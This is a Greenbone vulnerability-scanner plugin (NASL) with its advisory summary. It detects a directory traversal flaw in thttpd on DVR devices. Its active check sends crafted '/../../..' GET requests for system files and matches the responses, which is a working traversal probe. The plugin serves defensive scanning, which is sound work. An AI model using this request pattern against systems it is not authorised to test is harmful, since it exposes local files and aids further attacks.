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Multiple DVR HTTP Server Directory Traversal Vulnerability - Active Check

🗓️ 23 May 2013 00:00:00Reported by Copyright (C) 2013 Greenbone AGType 
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The thttpd running on the remote DVR is prone to a directory traversal vulnerability due to insufficient input sanitization. Exploiting this issue allows an attacker to view arbitrary local files within the context of the web server, potentially aiding in further attacks

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# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:acme:thttpd";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103714");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:N/A:N");

  script_name("Multiple DVR HTTP Server Directory Traversal Vulnerability - Active Check");

  script_xref(name:"URL", value:"https://web.archive.org/web/20210123050646/https://www.securityfocus.com/bid/60010/");

  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2013-05-23 09:50:08 +0200 (Thu, 23 May 2013)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_dependencies("gb_thttpd_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("thttpd/detected");

  script_tag(name:"summary", value:"The thttpd running on the remote DVR is prone to a directory
  traversal vulnerability because it fails to sufficiently sanitize user-supplied input.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"Exploiting this issue will allow an attacker to view arbitrary
  local files within the context of the web server. Information harvested may aid in launching
  further attacks.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("os_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("traversal_func.inc");

# nb: No get_app_location() as thttpd is only used within this product and there is no point
# in linking to the detection of it.
if(!port = get_app_port(cpe:CPE))
  exit(0);

url = "/";

if(http_vuln_check(port:port, url:url, pattern:"<title>DVR LOGIN", usecache:TRUE)) {

  files = traversal_files();

  foreach pattern(keys(files)) {

    file = files[pattern];

    url = "/../../../../../../../../../../../../../../../../" + file;

    if(http_vuln_check(port:port, url:url, pattern:pattern)) {
      report = http_report_vuln_url(port:port, url:url);
      security_message(data:report, port:port);
      exit(0);
    }
  }
}

exit(99);

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